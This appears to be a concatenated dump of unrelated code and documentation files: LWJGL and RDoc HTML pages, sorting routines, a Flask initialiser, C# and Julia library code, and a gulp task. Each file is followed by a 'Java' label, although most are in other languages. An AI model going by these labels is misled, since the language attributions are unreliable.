public static final int <B>GL_PALETTE4_RGB8_OES</B></PRE>
<DL>
<DD>Accepted by the <internalformat> paramter of CompressedTexImage2D
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengles.OESCompressedPalettedTexture.GL_PALETTE4_RGB8_OES">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_PALETTE4_RGBA8_OES"><!-- --></A><H3>
GL_PALETTE4_RGBA8_OES</H3>
<PRE>
public static final int <B>GL_PALETTE4_RGBA8_OES</B></PRE>
<DL>
<DD>Accepted by the <internalformat> paramter of CompressedTexImage2D
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengles.OESCompressedPalettedTexture.GL_PALETTE4_RGBA8_OES">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_PALETTE4_R5_G6_B5_OES"><!-- --></A><H3>
GL_PALETTE4_R5_G6_B5_OES</H3>
<PRE>
public static final int <B>GL_PALETTE4_R5_G6_B5_OES</B></PRE>
<DL>
<DD>Accepted by the <internalformat> paramter of CompressedTexImage2D
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengles.OESCompressedPalettedTexture.GL_PALETTE4_R5_G6_B5_OES">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_PALETTE4_RGBA4_OES"><!-- --></A><H3>
GL_PALETTE4_RGBA4_OES</H3>
<PRE>
public static final int <B>GL_PALETTE4_RGBA4_OES</B></PRE>
<DL>
<DD>Accepted by the <internalformat> paramter of CompressedTexImage2D
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengles.OESCompressedPalettedTexture.GL_PALETTE4_RGBA4_OES">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_PALETTE4_RGB5_A1_OES"><!-- --></A><H3>
GL_PALETTE4_RGB5_A1_OES</H3>
<PRE>
public static final int <B>GL_PALETTE4_RGB5_A1_OES</B></PRE>
<DL>
<DD>Accepted by the <internalformat> paramter of CompressedTexImage2D
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengles.OESCompressedPalettedTexture.GL_PALETTE4_RGB5_A1_OES">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_PALETTE8_RGB8_OES"><!-- --></A><H3>
GL_PALETTE8_RGB8_OES</H3>
<PRE>
public static final int <B>GL_PALETTE8_RGB8_OES</B></PRE>
<DL>
<DD>Accepted by the <internalformat> paramter of CompressedTexImage2D
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengles.OESCompressedPalettedTexture.GL_PALETTE8_RGB8_OES">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_PALETTE8_RGBA8_OES"><!-- --></A><H3>
GL_PALETTE8_RGBA8_OES</H3>
<PRE>
public static final int <B>GL_PALETTE8_RGBA8_OES</B></PRE>
<DL>
<DD>Accepted by the <internalformat> paramter of CompressedTexImage2D
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengles.OESCompressedPalettedTexture.GL_PALETTE8_RGBA8_OES">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_PALETTE8_R5_G6_B5_OES"><!-- --></A><H3>
GL_PALETTE8_R5_G6_B5_OES</H3>
<PRE>
public static final int <B>GL_PALETTE8_R5_G6_B5_OES</B></PRE>
<DL>
<DD>Accepted by the <internalformat> paramter of CompressedTexImage2D
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengles.OESCompressedPalettedTexture.GL_PALETTE8_R5_G6_B5_OES">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_PALETTE8_RGBA4_OES"><!-- --></A><H3>
GL_PALETTE8_RGBA4_OES</H3>
<PRE>
public static final int <B>GL_PALETTE8_RGBA4_OES</B></PRE>
<DL>
<DD>Accepted by the <internalformat> paramter of CompressedTexImage2D
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengles.OESCompressedPalettedTexture.GL_PALETTE8_RGBA4_OES">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_PALETTE8_RGB5_A1_OES"><!-- --></A><H3>
GL_PALETTE8_RGB5_A1_OES</H3>
<PRE>
public static final int <B>GL_PALETTE8_RGB5_A1_OES</B></PRE>
<DL>
<DD>Accepted by the <internalformat> paramter of CompressedTexImage2D
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengles.OESCompressedPalettedTexture.GL_PALETTE8_RGB5_A1_OES">Constant Field Values</A></DL>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/OESCompressedPalettedTexture.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/lwjgl/opengles/OESCompressedETC1RGB8Texture.html" title="class in org.lwjgl.opengles"><B>PREV CLASS</B></A>
<A HREF="../../../org/lwjgl/opengles/OESDepth24.html" title="class in org.lwjgl.opengles"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/lwjgl/opengles/OESCompressedPalettedTexture.html" target="_top"><B>FRAMES</B></A>
<A HREF="OESCompressedPalettedTexture.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#methods_inherited_from_class_java.lang.Object">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | METHOD</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
<i>Copyright © 2002-2009 lwjgl.org. All Rights Reserved.</i>
</BODY>
</HTML>
| Java |
/**
* Created by avinashvundyala on 09/07/16.
*/
public class SelectionSort {
public int[] iterativeSelectionSort(int[] arr) {
int temp, smallIdx;
for(int i = 0; i < arr.length; i++) {
smallIdx = i;
for(int j = i; j < arr.length; j++) {
if(arr[smallIdx] > arr[j]) {
smallIdx = j;
}
}
temp = arr[i];
arr[i] = arr[smallIdx];
arr[smallIdx] = temp;
}
return arr;
}
public int[] recursiveSelectionSort(int[] arr, int startIdx) {
if(startIdx == arr.length) {
return arr;
}
int temp, smallIdx;
smallIdx = startIdx;
for(int j = startIdx; j < arr.length; j++) {
if(arr[smallIdx] > arr[j]) {
smallIdx = j;
}
}
temp = arr[startIdx];
arr[startIdx] = arr[smallIdx];
arr[smallIdx] = temp;
return recursiveSelectionSort(arr, startIdx + 1);
}
public void printArray(int[] array) {
for(int number: array) {
System.out.print(String.valueOf(number) + " ");
}
}
public static void main(String args[]) {
SelectionSort ss = new SelectionSort();
int[] unsortedArray1 = {6,4,2,1,9,0};
System.out.print("Unsoreted Array Sorting: ");
ss.printArray(ss.iterativeSelectionSort(unsortedArray1));
int[] unsortedArray2 = {1,2,3,4,5,6};
System.out.print("\nAlready Soreted Array Sorting: ");
ss.printArray(ss.iterativeSelectionSort(unsortedArray2));
int[] unsortedArray3 = {6,5,4,3,2,1};
System.out.print("\nUnsoreted Array Sorting: ");
ss.printArray(ss.iterativeSelectionSort(unsortedArray3));
int[] unsortedArray4 = {6,4,2,1,9,0};
System.out.print("\nUnsoreted Array Sorting: ");
ss.printArray(ss.recursiveSelectionSort(unsortedArray4, 0));
int[] unsortedArray5 = {1,2,3,4,5,6};
System.out.print("\nAlready Soreted Array Sorting: ");
ss.printArray(ss.recursiveSelectionSort(unsortedArray5, 0));
int[] unsortedArray6 = {6,5,4,3,2,1};
System.out.print("\nUnsoreted Array Sorting: ");
ss.printArray(ss.recursiveSelectionSort(unsortedArray6, 0));
}
}
| Java |
'use strict';
function getReferenceMatrix (matrix, direction) {
return matrix.unflatten().rows.sort((r1, r2) => {
return (r1[1] > r2[1] ? 1 : r1[1] < r2[1] ? -1 : 0) * (direction === 'desc' ? -1 : 1);
});
}
function simpleSort (matrix, direction) {
const referenceMatrix = getReferenceMatrix(matrix, direction);
return matrix.clone({
axes: [
Object.assign({}, matrix.axes[0], {values: referenceMatrix.map(r => r[0])})
],
data: referenceMatrix.map(r => r[1])
});
}
function complexSort () {//matrix, direction, strategy, dimension) {
// const referenceMatrix = getReferenceMatrix(matrix.reduce(strategy, dimension), direction);
}
module.exports.ascending = function (strategy, dimension) {
if (this.dimension === 1) {
return simpleSort(this, 'asc');
} else if (this.dimension === 2) {
throw new Error('Cannot sort tables of dimension greater than 1. It\'s on the todo list though!');
return complexSort(this, 'asc', strategy, dimension);
} else {
throw new Error('Cannot sort tables of dimesnion greater than 2');
}
}
module.exports.descending = function (strategy, dimension) {
if (this.dimension === 1) {
return simpleSort(this, 'desc');
} else if (this.dimension === 2) {
throw new Error('Cannot sort tables of dimension greater than 1. It\'s on the todo list though!');
return complexSort(this, 'desc', strategy, dimension);
} else {
throw new Error('Cannot sort tables of dimesnion greater than 2');
}
}
function getReferenceMatrix (matrix, direction) {
return matrix.unflatten().rows.sort((r1, r2) => {
return (r1[1] > r2[1] ? 1 : r1[1] < r2[1] ? -1 : 0) * (direction === 'desc' ? -1 : 1);
});
}
function simpleSort (matrix, direction) {
const referenceMatrix = getReferenceMatrix(matrix, direction);
return matrix.clone({
axes: [
Object.assign({}, matrix.axes[0], {values: referenceMatrix.map(r => r[0])})
],
data: referenceMatrix.map(r => r[1])
});
}
module.exports.property = function (prop) {
const order = [].slice.call(arguments, 1);
const dimension = this.getAxis(prop);
if (dimension === -1) {
throw new Error(`Attempting to do a custom sort on the property ${prop}, which doesn't exist`);
}
const originalValues = this.axes.find(a => a.property === prop).values;
// this makes it easier to put the not found items last as the order
// will go n = first, n-1 = second, ... , 0 = last, -1 = not found
// we simply exchange 1 and -1 in the function below :o
order.reverse();
const orderedValues = originalValues.slice().sort((v1, v2) => {
const i1 = order.indexOf(v1);
const i2 = order.indexOf(v2);
return i1 > i2 ? -1 : i1 < i2 ? 1 : 0;
});
const mapper = originalValues.map(v => orderedValues.indexOf(v))
const newAxes = this.axes.slice();
newAxes[dimension] = Object.assign({}, this.axes[dimension], {
values: orderedValues
});
return this.clone({
axes: newAxes,
data: Object.keys(this.data).reduce((obj, k) => {
const coords = k.split(',');
coords[dimension] = mapper[coords[dimension]];
obj[coords.join(',')] = this.data[k];
return obj;
}, {})
});
}
| Java |
"""
Initialize Flask app
"""
from flask import Flask
import os
from flask_debugtoolbar import DebugToolbarExtension
from werkzeug.debug import DebuggedApplication
app = Flask('application')
if os.getenv('FLASK_CONF') == 'DEV':
# Development settings
app.config.from_object('application.settings.Development')
# Flask-DebugToolbar
toolbar = DebugToolbarExtension(app)
# Google app engine mini profiler
# https://github.com/kamens/gae_mini_profiler
app.wsgi_app = DebuggedApplication(app.wsgi_app, evalex=True)
from gae_mini_profiler import profiler, templatetags
@app.context_processor
def inject_profiler():
return dict(profiler_includes=templatetags.profiler_includes())
app.wsgi_app = profiler.ProfilerWSGIMiddleware(app.wsgi_app)
elif os.getenv('FLASK_CONF') == 'TEST':
app.config.from_object('application.settings.Testing')
else:
app.config.from_object('application.settings.Production')
# Enable jinja2 loop controls extension
app.jinja_env.add_extension('jinja2.ext.loopcontrols')
# Pull in URL dispatch routes
import urls
| Java |
/*
* @(#)Function2Arg.cs 3.0.0 2016-05-07
*
* You may use this software under the condition of "Simplified BSD License"
*
* Copyright 2010-2016 MARIUSZ GROMADA. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY <MARIUSZ GROMADA> ``AS IS'' AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* The views and conclusions contained in the software and documentation are those of the
* authors and should not be interpreted as representing official policies, either expressed
* or implied, of MARIUSZ GROMADA.
*
* If you have any questions/bugs feel free to contact:
*
* Mariusz Gromada
* mariuszgromada.org@gmail.com
* http://mathparser.org
* http://mathspace.pl
* http://janetsudoku.mariuszgromada.org
* http://github.com/mariuszgromada/MathParser.org-mXparser
* http://mariuszgromada.github.io/MathParser.org-mXparser
* http://mxparser.sourceforge.net
* http://bitbucket.org/mariuszgromada/mxparser
* http://mxparser.codeplex.com
* http://github.com/mariuszgromada/Janet-Sudoku
* http://janetsudoku.codeplex.com
* http://sourceforge.net/projects/janetsudoku
* http://bitbucket.org/mariuszgromada/janet-sudoku
* http://github.com/mariuszgromada/MathParser.org-mXparser
*
* Asked if he believes in one God, a mathematician answered:
* "Yes, up to isomorphism."
*/
using System;
namespace org.mariuszgromada.math.mxparser.parsertokens {
/**
* Binary functions (2 arguments) - mXparser tokens definition.
*
* @author <b>Mariusz Gromada</b><br>
* <a href="mailto:mariuszgromada.org@gmail.com">mariuszgromada.org@gmail.com</a><br>
* <a href="http://mathspace.pl" target="_blank">MathSpace.pl</a><br>
* <a href="http://mathparser.org" target="_blank">MathParser.org - mXparser project page</a><br>
* <a href="http://github.com/mariuszgromada/MathParser.org-mXparser" target="_blank">mXparser on GitHub</a><br>
* <a href="http://mxparser.sourceforge.net" target="_blank">mXparser on SourceForge</a><br>
* <a href="http://bitbucket.org/mariuszgromada/mxparser" target="_blank">mXparser on Bitbucket</a><br>
* <a href="http://mxparser.codeplex.com" target="_blank">mXparser on CodePlex</a><br>
* <a href="http://janetsudoku.mariuszgromada.org" target="_blank">Janet Sudoku - project web page</a><br>
* <a href="http://github.com/mariuszgromada/Janet-Sudoku" target="_blank">Janet Sudoku on GitHub</a><br>
* <a href="http://janetsudoku.codeplex.com" target="_blank">Janet Sudoku on CodePlex</a><br>
* <a href="http://sourceforge.net/projects/janetsudoku" target="_blank">Janet Sudoku on SourceForge</a><br>
* <a href="http://bitbucket.org/mariuszgromada/janet-sudoku" target="_blank">Janet Sudoku on BitBucket</a><br>
*
* @version 3.0.0
*/
[CLSCompliant(true)]
public sealed class Function2Arg {
/*
* BinaryFunction - token type id.
*/
public const int TYPE_ID = 5;
public const String TYPE_DESC = "Binary Function";
/*
* BinaryFunction - tokens id.
*/
public const int LOG_ID = 1;
public const int MOD_ID = 2;
public const int BINOM_COEFF_ID = 3;
public const int BERNOULLI_NUMBER_ID = 4;
public const int STIRLING1_NUMBER_ID = 5;
public const int STIRLING2_NUMBER_ID = 6;
public const int WORPITZKY_NUMBER_ID = 7;
public const int EULER_NUMBER_ID = 8;
public const int KRONECKER_DELTA_ID = 9;
public const int EULER_POLYNOMIAL_ID = 10;
public const int HARMONIC_NUMBER_ID = 11;
public const int RND_UNIFORM_CONT_ID = 12;
public const int RND_UNIFORM_DISCR_ID = 13;
public const int ROUND_ID = 14;
public const int RND_NORMAL_ID = 15;
/*
* BinaryFunction - tokens key words.
*/
public const String LOG_STR = "log";
public const String MOD_STR = "mod";
public const String BINOM_COEFF_STR = "C";
public const String BERNOULLI_NUMBER_STR = "Bern";
public const String STIRLING1_NUMBER_STR = "Stirl1";
public const String STIRLING2_NUMBER_STR = "Stirl2";
public const String WORPITZKY_NUMBER_STR = "Worp";
public const String EULER_NUMBER_STR = "Euler";
public const String KRONECKER_DELTA_STR = "KDelta";
public const String EULER_POLYNOMIAL_STR = "EulerPol";
public const String HARMONIC_NUMBER_STR = "Harm";
public const String RND_UNIFORM_CONT_STR = "rUni";
public const String RND_UNIFORM_DISCR_STR = "rUnid";
public const String ROUND_STR = "round";
public const String RND_NORMAL_STR = "rNor";
/*
* BinaryFunction - tokens description.
*/
public const String LOG_DESC = "logarithm function";
public const String MOD_DESC = "modulo function";
public const String BINOM_COEFF_DESC = "binomial coefficient function";
public const String BERNOULLI_NUMBER_DESC = "Bernoulli numbers";
public const String STIRLING1_NUMBER_DESC = "Stirling numbers of the first kind";
public const String STIRLING2_NUMBER_DESC = "Stirling numbers of the second kind";
public const String WORPITZKY_NUMBER_DESC = "Worpitzky number";
public const String EULER_NUMBER_DESC = "Euler number";
public const String KRONECKER_DELTA_DESC = "Kronecker delta";
public const String EULER_POLYNOMIAL_DESC = "EulerPol";
public const String HARMONIC_NUMBER_DESC = "Harmonic number";
public const String RND_UNIFORM_CONT_DESC = "(3.0) Random variable - Uniform continuous distribution U(a,b), usage example: 2*rUni(2,10)";
public const String RND_UNIFORM_DISCR_DESC = "(3.0) Random variable - Uniform discrete distribution U{a,b}, usage example: 2*rUnid(2,100)";
public const String ROUND_DESC = "(3.0) Half-up rounding, usage examples: round(2.2, 0) = 2, round(2.6, 0) = 3, round(2.66,1) = 2.7";
public const String RND_NORMAL_DESC = "(3.0) Random variable - Normal distribution N(m,s) m - mean, s - stddev, usage example: 3*rNor(0,1)";
}
}
| Java |
using System.Collections.Generic;
using System.Data;
using System.Threading.Tasks;
using Dapper;
using MicroOrm.Dapper.Repositories.Extensions;
namespace MicroOrm.Dapper.Repositories
{
/// <summary>
/// Base Repository
/// </summary>
public partial class DapperRepository<TEntity>
where TEntity : class
{
/// <inheritdoc />
public bool BulkUpdate(IEnumerable<TEntity> instances)
{
return BulkUpdate(instances, null);
}
/// <inheritdoc />
public bool BulkUpdate(IEnumerable<TEntity> instances, IDbTransaction transaction)
{
var queryResult = SqlGenerator.GetBulkUpdate(instances);
var result = TransientDapperExtentions.ExecuteWithRetry(() => Connection.Execute(queryResult.GetSql(), queryResult.Param, transaction)) > 0;
return result;
}
/// <inheritdoc />
public Task<bool> BulkUpdateAsync(IEnumerable<TEntity> instances)
{
return BulkUpdateAsync(instances, null);
}
/// <inheritdoc />
public async Task<bool> BulkUpdateAsync(IEnumerable<TEntity> instances, IDbTransaction transaction)
{
var queryResult = SqlGenerator.GetBulkUpdate(instances);
var result = (await TransientDapperExtentions.ExecuteWithRetryAsync(() => Connection.ExecuteAsync(queryResult.GetSql(), queryResult.Param, transaction))) > 0;
return result;
}
}
} | Java |
# Bindings Guide
| Folder | Description |
| --- | --- |
| [electron](./electron) | Status of bindings specific to the Electron |
| Java |
############################################################
# joDict ##############################################
############################################################
export joDict, joDictException
struct joDictException <: Exception
msg :: String
end
############################################################
## outer constructors
"""
julia> op = joDict(op1[,op2][,...];[weights=...,][name=...])
Dictionary (single block row) operator composed from different JOLI operators
# Signature
joDict(ops::joAbstractLinearOperator...;
weights::LocalVector{WDT}=zeros(0),name::String="joDict")
where {WDT<:Number}
# Arguments
- `op#`: JOLI operators (subtypes of joAbstractLinearOperator)
- keywords
- `weights`: vector of waights for each operator
- `name`: custom name
# Notes
- all operators must have the same # of rows (M)
- all given operators must have same domain/range types
- the domain/range types of joDict are equal to domain/range types of the given operators
# Example
define operators
a=rand(ComplexF64,4,4);
A=joMatrix(a;DDT=ComplexF32,RDT=ComplexF64,name="A")
b=rand(ComplexF64,4,8);
B=joMatrix(b;DDT=ComplexF32,RDT=ComplexF64,name="B")
c=rand(ComplexF64,4,6);
C=joMatrix(c;DDT=ComplexF32,RDT=ComplexF64,name="C")
define weights if needed
w=rand(ComplexF64,3)
basic dictionary in function syntax
D=joDict(A,B,C)
basic dictionary in [] syntax
D=[A B C]
weighted dictionary
D=joDict(A,B,C;weights=w)
"""
function joDict(ops::joAbstractLinearOperator...;
weights::LocalVector{WDT}=zeros(0),name::String="joDict") where {WDT<:Number}
isempty(ops) && throw(joDictException("empty argument list"))
l=length(ops)
for i=1:l
ops[i].m==ops[1].m || throw(joDictException("size mismatch for $i operator"))
deltype(ops[i])==deltype(ops[1]) || throw(joDictException("domain type mismatch for $i operator"))
reltype(ops[i])==reltype(ops[1]) || throw(joDictException("range type mismatch for $i operator"))
end
(length(weights)==l || length(weights)==0) || throw(joDictException("lenght of weights vector does not match number of operators"))
ws=Base.deepcopy(weights)
ms=zeros(Int,l)
ns=zeros(Int,l)
mo=zeros(Int,l)
no=zeros(Int,l)
for i=1:l
ms[i]=ops[1].m
ns[i]=ops[i].n
end
for i=2:l
no[i]=no[i-1]+ns[i-1]
end
m=ops[1].m
n=sum(ns)
weighted=(length(ws)==l)
fops=Vector{joAbstractLinearOperator}(undef,0)
fops_T=Vector{joAbstractLinearOperator}(undef,0)
fops_A=Vector{joAbstractLinearOperator}(undef,0)
fops_C=Vector{joAbstractLinearOperator}(undef,0)
for i=1:l
if weighted
push!(fops,ws[i]*ops[i])
push!(fops_T,ws[i]*transpose(ops[i]))
push!(fops_A,conj(ws[i])*adjoint(ops[i]))
push!(fops_C,conj(ws[i])*conj(ops[i]))
else
push!(fops,ops[i])
push!(fops_T,transpose(ops[i]))
push!(fops_A,adjoint(ops[i]))
push!(fops_C,conj(ops[i]))
end
end
return joCoreBlock{deltype(fops[1]),reltype(fops[1])}(name*"($l)",m,n,l,ms,ns,mo,no,ws,
fops,fops_T,fops_A,fops_C,@joNF,@joNF,@joNF,@joNF)
end
"""
julia> op = joDict(l,op;[weights=...,][name=...])
Dictionary operator composed from l-times replicated square JOLI operator
# Signature
joDict(l::Integer,op::joAbstractLinearOperator;
weights::LocalVector{WDT}=zeros(0),name::String="joDict")
where {WDT<:Number}
# Arguments
- `l`: # of replcated blocks
- `op`: JOLI operators (subtypes of joAbstractLinearOperator)
- keywords
- `weights`: vector of waights for each operator
- `name`: custom name
# Notes
- all operators must have the same # of rows (M)
- all given operators must have same domain/range types
- the domain/range types of joDict are equal to domain/range types of the given operators
# Example
a=rand(ComplexF64,4,4);
A=joMatrix(a;DDT=ComplexF32,RDT=ComplexF64,name="A")
define weights if needed
w=rand(ComplexF64,3)
basic dictionary
D=joDict(3,A)
weighted dictionary
D=joDict(3,A;weights=w)
"""
function joDict(l::Integer,op::joAbstractLinearOperator;
weights::LocalVector{WDT}=zeros(0),name::String="joDict") where {WDT<:Number}
(length(weights)==l || length(weights)==0) || throw(joDictException("lenght of weights vector does not match number of operators"))
ws=Base.deepcopy(weights)
ms=zeros(Int,l)
ns=zeros(Int,l)
mo=zeros(Int,l)
no=zeros(Int,l)
for i=1:l
ms[i]=op.m
ns[i]=op.n
end
for i=2:l
no[i]=no[i-1]+ns[i-1]
end
m=op.m
n=l*op.n
weighted=(length(weights)==l)
fops=Vector{joAbstractLinearOperator}(undef,0)
fops_T=Vector{joAbstractLinearOperator}(undef,0)
fops_A=Vector{joAbstractLinearOperator}(undef,0)
fops_C=Vector{joAbstractLinearOperator}(undef,0)
for i=1:l
if weighted
push!(fops,ws[i]*op)
push!(fops_T,ws[i]*transpose(op))
push!(fops_A,conj(ws[i])*adjoint(op))
push!(fops_C,conj(ws[i])*conj(op))
else
push!(fops,op)
push!(fops_T,transpose(op))
push!(fops_A,adjoint(op))
push!(fops_C,conj(op))
end
end
return joCoreBlock{deltype(op),reltype(op)}(name*"($l)",m,n,l,ms,ns,mo,no,ws,
fops,fops_T,fops_A,fops_C,@joNF,@joNF,@joNF,@joNF)
end
| Java |
import watch from 'gulp-watch';
import browserSync from 'browser-sync';
import path from 'path';
/**
* Gulp task to watch files
* @return {function} Function task
*/
export default function watchFilesTask() {
const config = this.config;
const runSequence = require('run-sequence').use(this.gulp);
return () => {
if (config.entryHTML) {
watch(
path.join(
config.basePath,
config.browsersync.server.baseDir,
config.entryHTML
),
() => {
runSequence('build', browserSync.reload);
}
);
}
if (config.postcss) {
watch(path.join(config.sourcePath, '**/*.{css,scss,less}'), () => {
runSequence('postcss');
});
}
if (config.customWatch) {
if (typeof config.customWatch === 'function') {
config.customWatch(config, watch, browserSync);
} else {
watch(config.customWatch, () => {
runSequence('build', browserSync.reload);
});
}
}
};
}
| Java |
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>class DropboxApi::Endpoints::Sharing::RevokeSharedLink - RDoc Documentation</title>
<script type="text/javascript">
var rdoc_rel_prefix = "../../../";
var index_rel_prefix = "../../../";
</script>
<script src="../../../js/jquery.js"></script>
<script src="../../../js/darkfish.js"></script>
<link href="../../../css/fonts.css" rel="stylesheet">
<link href="../../../css/rdoc.css" rel="stylesheet">
<body id="top" role="document" class="class">
<nav role="navigation">
<div id="project-navigation">
<div id="home-section" role="region" title="Quick navigation" class="nav-section">
<h2>
<a href="../../../index.html" rel="home">Home</a>
</h2>
<div id="table-of-contents-navigation">
<a href="../../../table_of_contents.html#pages">Pages</a>
<a href="../../../table_of_contents.html#classes">Classes</a>
<a href="../../../table_of_contents.html#methods">Methods</a>
</div>
</div>
<div id="search-section" role="search" class="project-section initially-hidden">
<form action="#" method="get" accept-charset="utf-8">
<div id="search-field-wrapper">
<input id="search-field" role="combobox" aria-label="Search"
aria-autocomplete="list" aria-controls="search-results"
type="text" name="search" placeholder="Search" spellcheck="false"
title="Type to search, Up and Down to navigate, Enter to load">
</div>
<ul id="search-results" aria-label="Search Results"
aria-busy="false" aria-expanded="false"
aria-atomic="false" class="initially-hidden"></ul>
</form>
</div>
</div>
<div id="class-metadata">
<div id="parent-class-section" class="nav-section">
<h3>Parent</h3>
<p class="link"><a href="../Rpc.html">DropboxApi::Endpoints::Rpc</a>
</div>
</div>
</nav>
<main role="main" aria-labelledby="class-DropboxApi::Endpoints::Sharing::RevokeSharedLink">
<h1 id="class-DropboxApi::Endpoints::Sharing::RevokeSharedLink" class="class">
class DropboxApi::Endpoints::Sharing::RevokeSharedLink
</h1>
<section class="description">
</section>
<section id="5Buntitled-5D" class="documentation-section">
<section class="constants-list">
<header>
<h3>Constants</h3>
</header>
<dl>
<dt id="ErrorType">ErrorType
<dd>
<dt id="Method">Method
<dd>
<dt id="Path">Path
<dd>
<dt id="ResultType">ResultType
<dd>
</dl>
</section>
</section>
</main>
<footer id="validator-badges" role="contentinfo">
<p><a href="https://validator.w3.org/check/referer">Validate</a>
<p>Generated by <a href="https://ruby.github.io/rdoc/">RDoc</a> 6.0.1.
<p>Based on <a href="http://deveiate.org/projects/Darkfish-RDoc/">Darkfish</a> by <a href="http://deveiate.org">Michael Granger</a>.
</footer>
| Java |
